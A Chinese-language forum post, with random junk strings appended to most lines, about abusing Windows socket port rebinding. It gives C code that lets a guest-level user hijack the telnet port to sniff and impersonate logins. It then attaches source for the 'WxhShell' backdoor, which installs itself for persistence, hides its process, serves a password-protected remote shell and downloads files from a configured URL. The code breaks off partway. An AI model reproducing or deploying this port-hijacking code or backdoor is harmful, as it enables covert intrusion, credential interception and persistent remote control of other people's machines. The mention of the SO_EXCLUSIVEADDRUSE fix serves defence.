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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =R:O`qdC4e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w7` pbcY,  
bGwOhd<.  
  saddr.sin_family = AF_INET; fTpG>*{p  
-~c-mt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q&0`(okb  
F=Xb_Gd`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); </kuJh\  
*ELU">!}G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  j=pg5T  
v2tVq_\AMx  
  这意味着什么?意味着可以进行如下的攻击: O)W+rmToI  
t<dFH}U`w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XZN@hXc9:v  
:2KPvp 7?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i+(>w'=m  
kMW9UUw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )*_G/<N) |  
[4xZy5V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "'t f]s  
V0D&bN*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8Vz!zYl  
@_t=0Rc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E!ZLVR.K  
X> 98`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oAifM1*0  
onmpMU7w  
  #include =?W7OV^BE  
  #include xyo~p,(~t  
  #include +@uA  
  #include    &~;M16XM,e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +-b'+mF  
  int main() Wtaz@ +  
  { #)n$Q^9&  
  WORD wVersionRequested; ^X6e\]yj  
  DWORD ret; #9s)fR  
  WSADATA wsaData; {Y/0BS2D  
  BOOL val; i+5Qs-dHA  
  SOCKADDR_IN saddr; t{B@k[|  
  SOCKADDR_IN scaddr; 02J(*_o  
  int err; D?%[du:V  
  SOCKET s; B#hvw'}  
  SOCKET sc; ?f9M59(l  
  int caddsize; ]@21KO  
  HANDLE mt; $@kOMT  
  DWORD tid;   Vo^J2[U  
  wVersionRequested = MAKEWORD( 2, 2 ); Kn3Xn`P?  
  err = WSAStartup( wVersionRequested, &wsaData ); R`$Y]@i&B  
  if ( err != 0 ) { 74N_>1!j  
  printf("error!WSAStartup failed!\n"); $aEv*{$y  
  return -1; q{G8 Po$z'  
  } }fk3a9j9u  
  saddr.sin_family = AF_INET; gFuK/]gzI  
   QxPPgn7'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g?|Z/eVJ  
R|}4H*N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A",}Ikh='`  
  saddr.sin_port = htons(23); oj.J;[-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]#DCO8Vk  
  { u(yN81  
  printf("error!socket failed!\n"); Ohj^Z&j  
  return -1; %5+X  
  } y|+5R5}K  
  val = TRUE; T~$Eh6 D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _'Jjt9@S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L|<j/bP  
  { )H]L/n  
  printf("error!setsockopt failed!\n"); i._RMl5zg  
  return -1; zqrqbqK5R  
  } 8ZbXGQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b3_P??yp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3n)Kzexh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '/XP4B\(E  
.|u`s,\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q=%W-  
  { $bKXP(  
  ret=GetLastError(); IO&U=-pn&  
  printf("error!bind failed!\n"); $?!]?{K  
  return -1; %'g)MK!e  
  } %Iflf]l  
  listen(s,2); l'Za"TL:  
  while(1) jmgkY)rb R  
  { "0nsYE  
  caddsize = sizeof(scaddr); AH/^v;-  
  //接受连接请求 [?:MIl#!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !_3b#Caf  
  if(sc!=INVALID_SOCKET) x0%m}P/  
  { @1xVWSF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R+ \%  
  if(mt==NULL) d0}(d Gl  
  { bh5P98s  
  printf("Thread Creat Failed!\n"); W tw,YFT  
  break; ( ./MFf  
  } f?^-JZ  
  } _:NQF7X#ug  
  CloseHandle(mt); OO?N)IB@  
  } 8pA<1H%  
  closesocket(s); &`s{-<t<L  
  WSACleanup(); 55ec23m  
  return 0; N;YFr  
  }   a+J>  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6Q>:vQ+E  
  { Xu~N97\G  
  SOCKET ss = (SOCKET)lpParam; VI9rezZ*  
  SOCKET sc; Kyk{:UnI  
  unsigned char buf[4096]; G"m0[|XH  
  SOCKADDR_IN saddr; %E#Ubm!  
  long num; (x/:j*`K  
  DWORD val; zd8A8]&-  
  DWORD ret; a;KdkykG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JW><&hY$"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   oL R/\Y(  
  saddr.sin_family = AF_INET; NTX0vQG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lr;ubBbT  
  saddr.sin_port = htons(23); iex%$> "  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h*y+qk-!\g  
  { $Yu'B_E6p  
  printf("error!socket failed!\n"); glo G_*W  
  return -1; |uz<)  
  } B%u[gNZ  
  val = 100; +J{ErsG?6P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1E||ft-1i*  
  { XRkUv>Yk  
  ret = GetLastError(); q,#s m'S  
  return -1; G Wa6FX:/  
  } (||qFu9a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'ParMT  
  { 8Uh|V&  
  ret = GetLastError(); _2`b$/)-  
  return -1; ;u(*&vRqr^  
  } T ?[;ej:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5Hj/7~ =  
  { @+zWLq!1pB  
  printf("error!socket connect failed!\n"); W //+[  
  closesocket(sc); *) B \M>  
  closesocket(ss); *re?V9  
  return -1; NL `  
  } A)!W VT&2A  
  while(1) }&7kT7ogO  
  { WzR)R9x]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^J-Xy\ X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \$4z@`nY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2 KHT!ik  
  num = recv(ss,buf,4096,0); oI`Mn3N  
  if(num>0) >*O5Ry:4  
  send(sc,buf,num,0); O^./) #!#  
  else if(num==0) SfPQ;s'  
  break; ,vvfk=-  
  num = recv(sc,buf,4096,0); 8Vn   
  if(num>0) wDoCc:  
  send(ss,buf,num,0); c-NUD$  
  else if(num==0) }yrs6pQ  
  break; &I)tI^P}  
  } g%]<sRl:-  
  closesocket(ss); PCgr`($U  
  closesocket(sc); h"8[1 ;  
  return 0 ; l}-k>fug  
  } ziO(`"v  
[cEGkz  
# SCLU9-  
========================================================== &,PA+#  
.WN&]yr,  
下边附上一个代码,,WXhSHELL |zfFB7}v  
y_W?7 S  
========================================================== @VOegf+N  
NRG~ya >  
#include "stdafx.h" ?xMTO  
6ZI7V!k  
#include <stdio.h> gU&+^e >  
#include <string.h> MTl @#M  
#include <windows.h> ^)Y3V-@t  
#include <winsock2.h> (O09HY:  
#include <winsvc.h> N GnE  
#include <urlmon.h> Oz_CEMcy  
-*w2<DCn  
#pragma comment (lib, "Ws2_32.lib") q3/4l%"X  
#pragma comment (lib, "urlmon.lib") yr>J^Et%_  
Ho/tCU|w  
#define MAX_USER   100 // 最大客户端连接数 O\;Lb[`lb  
#define BUF_SOCK   200 // sock buffer a(O@E%|u  
#define KEY_BUFF   255 // 输入 buffer <bCB-lG*Kb  
H@zv-{}T8  
#define REBOOT     0   // 重启 (ESFR0  
#define SHUTDOWN   1   // 关机 mP15PZ  
avG#0AY  
#define DEF_PORT   5000 // 监听端口 r^"sZk#  
fM]nP4K`  
#define REG_LEN     16   // 注册表键长度 q0>9T  
#define SVC_LEN     80   // NT服务名长度 `l?MmIJ  
|8k^jq  
// 从dll定义API F:<+}{Av  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >#mKM%T2MJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :$yOic}y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MU] F'6V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OraT$lV)_  
N@k' s   
// wxhshell配置信息 f`>\bdz  
struct WSCFG { tQ'R(H`  
  int ws_port;         // 监听端口 @pv:uON\  
  char ws_passstr[REG_LEN]; // 口令 Qz{Vl> "  
  int ws_autoins;       // 安装标记, 1=yes 0=no BSSehe*  
  char ws_regname[REG_LEN]; // 注册表键名 .uX(-8n ~  
  char ws_svcname[REG_LEN]; // 服务名 ~v/` `s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (kK8 OxfF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *Z.{1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f]Aa$\@b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j;j~R3B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fWfhs}_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k8}'@w  
$`0^E#Nl  
}; FChW`b&S  
xk8NX-:  
// default Wxhshell configuration G;t< dJ8  
struct WSCFG wscfg={DEF_PORT, ]+qd|}^  
    "xuhuanlingzhe", g_tEUaiK  
    1, Fgwe`[  
    "Wxhshell", 9_&]7ABV  
    "Wxhshell", $E:z*~ ?  
            "WxhShell Service",  L=!h`k  
    "Wrsky Windows CmdShell Service", ' t(#HBU  
    "Please Input Your Password: ", *n@rPr-  
  1, E:\#Ur2  
  "http://www.wrsky.com/wxhshell.exe", SU7,uxF  
  "Wxhshell.exe" xK1w->[  
    }; A~?)g!tS<  
E'8XXV^I?P  
// 消息定义模块 '{JMWNY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {~EsO1p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xQ?$H?5B<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d--6<_q  
char *msg_ws_ext="\n\rExit."; eK3d_bF+  
char *msg_ws_end="\n\rQuit."; 4T)`%Oo<}  
char *msg_ws_boot="\n\rReboot..."; +['1~5  
char *msg_ws_poff="\n\rShutdown..."; 8r,0Qic2K  
char *msg_ws_down="\n\rSave to "; OaN"6Ge#  
^eRbp?H*T  
char *msg_ws_err="\n\rErr!"; [["eK9 }0  
char *msg_ws_ok="\n\rOK!"; ]4*E:  
ph2 _P[S'  
char ExeFile[MAX_PATH]; Vn/FW?d7  
int nUser = 0; 4uE/!dT  
HANDLE handles[MAX_USER]; ;uZq_^?:9&  
int OsIsNt; %_5?/H@%3z  
iY sQ:3s  
SERVICE_STATUS       serviceStatus; a{By U%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 65+2+p  
T`I4_x  
// 函数声明 brCL"g|}  
int Install(void); cZ.p  
int Uninstall(void); @v /Ae_q!  
int DownloadFile(char *sURL, SOCKET wsh); &;vMJ   
int Boot(int flag); )T(1oK(g  
void HideProc(void); 3ox|Mz<aZX  
int GetOsVer(void); pnv)D}"  
int Wxhshell(SOCKET wsl); ESS1 L$y  
void TalkWithClient(void *cs); +H? XqSC  
int CmdShell(SOCKET sock); uAk>VPuuZ  
int StartFromService(void); ?6MUyH]a  
int StartWxhshell(LPSTR lpCmdLine); 1F2(MKOo!  
gIGi7x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,MLAW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6TQ[2%X'  
{FN4BC`3+  
// 数据结构和表定义 [NGq$5  
SERVICE_TABLE_ENTRY DispatchTable[] = jR3mV  
{ NPE 4@c_a@  
{wscfg.ws_svcname, NTServiceMain}, e]:(.Wb- 9  
{NULL, NULL} `RE K,^U  
}; q(#,X~0  
u~N'UD1x  
// 自我安装 #V[Os!ns  
int Install(void) $O;a~/T  
{ gHWsKE  %  
  char svExeFile[MAX_PATH]; m{yq.H[X  
  HKEY key; O`>u70  
  strcpy(svExeFile,ExeFile); W{}M${6&  
2rf#Bq?7  
// 如果是win9x系统,修改注册表设为自启动 K1- 3!G  
if(!OsIsNt) { sa"!ckh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q'^$;X~-<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $D*Yhv!/  
  RegCloseKey(key); [XA:pj;rg'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vcOw`oS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /5f=a  
  RegCloseKey(key); ZzT"u1,&  
  return 0; ZZeF1y[q  
    } (. $e@k=  
  } r,GgMk  
} `my\59T  
else { HIlTt  
|[/XG2S  
// 如果是NT以上系统,安装为系统服务 EhOB+Mc1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J@q!N;eh|  
if (schSCManager!=0) #\LYo{op/.  
{ 8(-N;<Ef2  
  SC_HANDLE schService = CreateService H ;HFen|  
  ( AD'c#CT  
  schSCManager, hi ),PfAV  
  wscfg.ws_svcname, ]vCs9* |B  
  wscfg.ws_svcdisp, 2<_|1%C  
  SERVICE_ALL_ACCESS, X&%;(`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zwlz zqV  
  SERVICE_AUTO_START, *W4~.peoE  
  SERVICE_ERROR_NORMAL, V67<Ky>  
  svExeFile, pvM`j86 _  
  NULL, '81WogH:  
  NULL, _E^ !, Wz  
  NULL, *Y ?&N2@c  
  NULL, x{ VUl  
  NULL %cq8%RT  
  ); g`H;~ w  
  if (schService!=0) RWGAxq`9f  
  { 6#2E {uy;R  
  CloseServiceHandle(schService); C7MCMM|S  
  CloseServiceHandle(schSCManager); 7}Jn`^!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QLH6Nmk  
  strcat(svExeFile,wscfg.ws_svcname); MBFn s/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }Szs9-Wns  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,Mu"r!MK  
  RegCloseKey(key); ]ex2c{ G  
  return 0; KC-@2,c9V  
    } };~I#X  
  } 8-Z|$F"  
  CloseServiceHandle(schSCManager); >td\PW~X  
} <IQ}j^u-F  
} h]^= y.Q  
=#?=Lh  
return 1; t,yMO  
} D{]9s  
CN#2-[T  
// 自我卸载 T'%R kag>  
int Uninstall(void) ek0,@Vg9  
{ IU rGJ#}O  
  HKEY key; xbze{9n"  
R lmeZy4.  
if(!OsIsNt) { U{0! <*W>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (0 S;eM&  
  RegDeleteValue(key,wscfg.ws_regname); vsbD>`I  
  RegCloseKey(key); -+ Mh( 'K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;#dzw!+Y  
  RegDeleteValue(key,wscfg.ws_regname); lT F#efcW  
  RegCloseKey(key); 'n "n;  
  return 0;  \.MPjD  
  } |\h<!xR  
} }H9V$~}@-  
} $7&t`E)qY  
else { M_#^zo "x  
S(5&%}QFQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5[rA>g~  
if (schSCManager!=0) qa/VSk!{  
{ S>EO6z#   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sKL"JA T  
  if (schService!=0) 0d #jiG  
  { e\H1IR3  
  if(DeleteService(schService)!=0) { YR0.m%U,  
  CloseServiceHandle(schService); _n!W4zwi  
  CloseServiceHandle(schSCManager); axiP~t2  
  return 0; h8?E+0  
  } NGuRyZp69&  
  CloseServiceHandle(schService); |F?/L>  
  } `&o>7a;  
  CloseServiceHandle(schSCManager); d2<+Pp  
} )gKX +'  
} 3rVWehCv  
kntn9G  
return 1; _{0IX  
} %9`\ 7h7K  
"5$2b>_UE  
// 从指定url下载文件 [!>DQE  
int DownloadFile(char *sURL, SOCKET wsh) ;cW9NS3:  
{ q-d#bKIf  
  HRESULT hr; {s~t>Rp+  
char seps[]= "/"; FK`M+ j  
char *token; S1d{! ` 3  
char *file; , Y cF~  
char myURL[MAX_PATH]; eRvnN>L  
char myFILE[MAX_PATH]; };nOG;  
vo]$[Cp|4  
strcpy(myURL,sURL); }Uunlz<  
  token=strtok(myURL,seps); LE4P$%>H  
  while(token!=NULL) tLe"i>  
  { ]MV=@T^8#  
    file=token; A$XmO}+  
  token=strtok(NULL,seps); 5$"I Uq*  
  } T Ue=Yj  
OmC F8:\/  
GetCurrentDirectory(MAX_PATH,myFILE); +p_>fO  
strcat(myFILE, "\\"); mpDQhD[n  
strcat(myFILE, file); aA&}=lm  
  send(wsh,myFILE,strlen(myFILE),0); =F90SyzTy  
send(wsh,"...",3,0); E|omC_h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S"Mm_<A$@  
  if(hr==S_OK) y@u,Mv  
return 0; y>_*}>2,O  
else $Rv (v%  
return 1; * odwg$  
s_Gf7uC  
} jL9to6 Hmr  
|s*tRag  
// 系统电源模块 ~YCZvJ  
int Boot(int flag) o_&*?k*  
{ ub=Bz1._  
  HANDLE hToken; j+Q E~L  
  TOKEN_PRIVILEGES tkp; V75P@jv5J  
R7~#7qKQB  
  if(OsIsNt) { /&g~*AL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vHxLn/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8d*W7>rq  
    tkp.PrivilegeCount = 1; @DA.$zn&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tAH0o\1;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V [r1bF  
if(flag==REBOOT) { .]H1uoci|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a<mM )[U  
  return 0; AWn$od`#s  
} dSw%Qv*y  
else { -mAi7[omh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n6s[q- td  
  return 0; sj\kp ni  
} 6=i@t tAK  
  } [ nG@ 3n  
  else { [_wenlkm  
if(flag==REBOOT) { vK~tgZ&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K1*]6x,  
  return 0; M~t;&po  
} 5>*~1}0T  
else { |}^ BF%8V:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e:kd0)9  
  return 0; Y<EdFzle  
} 76rRF   
} mj9r#v3.  
No G`J$D  
return 1; x;p7n 2_  
} 47 *,  
[Uw/;Kyh  
// win9x进程隐藏模块 hj|P*yKV  
void HideProc(void) sJ q^>"|J  
{ RbGq$vYol/  
&['cZ/bM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @Ap~Wok  
  if ( hKernel != NULL ) [  bB   
  { Dhy@!EOS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i%eq!q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `U[s d*C"  
    FreeLibrary(hKernel); ?ta(`+"  
  } ej9|Y5D"S  
X9oxni#  
return; {X'D07q  
} 3ZEV*=+T5  
I!OV+utF  
// 获取操作系统版本 OD\F*Ry~  
int GetOsVer(void) SByn u  
{ +X&b  
  OSVERSIONINFO winfo; Zr U9oy&!C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?*h 2:a$  
  GetVersionEx(&winfo); &m J +#vT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h8me.=S&  
  return 1; WC<K(PP  
  else j9G1  _  
  return 0; v;m}<3@'  
} pk,]yi,ZF  
,]UCq?YW)T  
// 客户端句柄模块 GIGC,zP@k  
int Wxhshell(SOCKET wsl) JTn\NSa  
{ N 2\lBi  
  SOCKET wsh; 8kwe._&)  
  struct sockaddr_in client; Bw;LGEHi|  
  DWORD myID; /:],bNb  
l[D5JnWxt  
  while(nUser<MAX_USER) )lsR8Hi8  
{ {j{H@rHuy  
  int nSize=sizeof(client); a.O pxd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p^uX{!  
  if(wsh==INVALID_SOCKET) return 1; R<GnPN:c  
G$)f5_]7{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >PBP:s1f4>  
if(handles[nUser]==0) 2y0J~P!I  
  closesocket(wsh); ,m)k;co^  
else !QTfQ69Y0  
  nUser++; ;@R=CQ6  
  } 1!4-M$-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l,n V*Z  
bXw!fYm&  
  return 0; y$7vJl.uS/  
} /\0 rRT  
WK<:(vu.  
// 关闭 socket 6pCQP c*A  
void CloseIt(SOCKET wsh) tin5.N)"z  
{ ra4$/@3n  
closesocket(wsh); <@puWm[p  
nUser--; >m-VBo  
ExitThread(0); {hmC=j  
} [_pw|BGp  
MY]<^/Q  
// 客户端请求句柄 ZgP~VB0)$  
void TalkWithClient(void *cs) 1'G&PX   
{ n8dJ6"L<"  
>A RZ=x[  
  SOCKET wsh=(SOCKET)cs; p]-\\o}  
  char pwd[SVC_LEN]; ,sqx xq  
  char cmd[KEY_BUFF]; #S*`7MvM  
char chr[1]; ?"o7x[  
int i,j; ?{Rv/np=F  
N#Y|MfLc  
  while (nUser < MAX_USER) { `3CdW  
4N- T=Ig  
if(wscfg.ws_passstr) { =>kE`"{!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V4.&"0\n#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;;#_[Zl  
  //ZeroMemory(pwd,KEY_BUFF); nH=8I~jp  
      i=0; @g{FNXY$m  
  while(i<SVC_LEN) { "nzQ$E>?$  
y| 7sh  
  // 设置超时 z{N~AaY  
  fd_set FdRead; +p Y*BP+~i  
  struct timeval TimeOut; `v|w&ty*  
  FD_ZERO(&FdRead); Pd"=&Az|  
  FD_SET(wsh,&FdRead); hN5?u:  
  TimeOut.tv_sec=8; 1j!LK-  
  TimeOut.tv_usec=0; w I7iE4\vz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1_of;=9V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NZTG)<  
UCz\SZ{za  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }^@Q9<P^E  
  pwd=chr[0]; iaAj|:  
  if(chr[0]==0xd || chr[0]==0xa) { `;7eu=  
  pwd=0; 6Bop8B  
  break;  `u 't  
  } ~fV\ X*  
  i++; ^]cl:m=*  
    } Jx jP'8  
+~x'1*A_  
  // 如果是非法用户,关闭 socket %lbDcEsf9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A%[ BCY_  
} s.#%hPX{  
J dK' ~-L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pXy'Ss@y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \|gE=5!Am=  
z[0+9=<Y  
while(1) { <0w"$.K#3  
sYG:\>}ie  
  ZeroMemory(cmd,KEY_BUFF); )9]DJ!]&Q"  
.S{FEV  
      // 自动支持客户端 telnet标准   QCD MRh n  
  j=0; J_|LG rt})  
  while(j<KEY_BUFF) { GI[TD?s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O?=YY@j  
  cmd[j]=chr[0]; 2I@d=T{K  
  if(chr[0]==0xa || chr[0]==0xd) { $5]}]  
  cmd[j]=0; 2I|`j^  
  break; c;13V(Djy  
  } ]VkM)< +  
  j++; +QZ}c@'r  
    } H:k?#7D(  
yZ:AJNb  
  // 下载文件 ms]r1x"  
  if(strstr(cmd,"http://")) { 6/5Xy69:h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =<;C5kSD  
  if(DownloadFile(cmd,wsh)) .DX-biX,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x@)G@'vV|  
  else s;ivoGe}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \2c 3Nsra  
  } a$AR  
  else { ++=f7y u  
vmj'X>Q  
    switch(cmd[0]) { ;}dvc7  
  s?5vJ:M Xr  
  // 帮助 mp:xR^5c  
  case '?': { Ct<]('Hm(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KL<,avC/  
    break; Ym8 V)  
  } D^Gs_z$['  
  // 安装 l"rX'g?  
  case 'i': { :u9OD` D  
    if(Install()) ~z kzuh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gJZH??b  
    else LsI8T uv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zCe[+F  
    break; MtD0e@  
    } Mp7X+o/  
  // 卸载 }`~n$OVx  
  case 'r': { _yRD*2 !;  
    if(Uninstall()) gWu<5Y=C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &E+mXEve  
    else 6KRC_-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ogvB{R  
    break; WqJrDj~  
    } II'"Nkxd  
  // 显示 wxhshell 所在路径 9R m\@E [  
  case 'p': { I !J'  
    char svExeFile[MAX_PATH]; 8-PHW,1@a3  
    strcpy(svExeFile,"\n\r"); ,gdud[&|;  
      strcat(svExeFile,ExeFile); rQD^O4j R  
        send(wsh,svExeFile,strlen(svExeFile),0); OfK>-8  
    break; idNra#  
    } &e6!/y&  
  // 重启 ^?8/9 o  
  case 'b': { ;EB^1*A Ew  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `oU|U!|  
    if(Boot(REBOOT)) dLfB){>S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0NF=7 j  
    else { VTwDa*]AhB  
    closesocket(wsh); 6dncUfB  
    ExitThread(0);  &<LBz|  
    } AnK~<9WQj  
    break; 9vauCIfVC  
    } AGGT] 58|  
  // 关机 !+u K@z&G  
  case 'd': { agkGUK/  
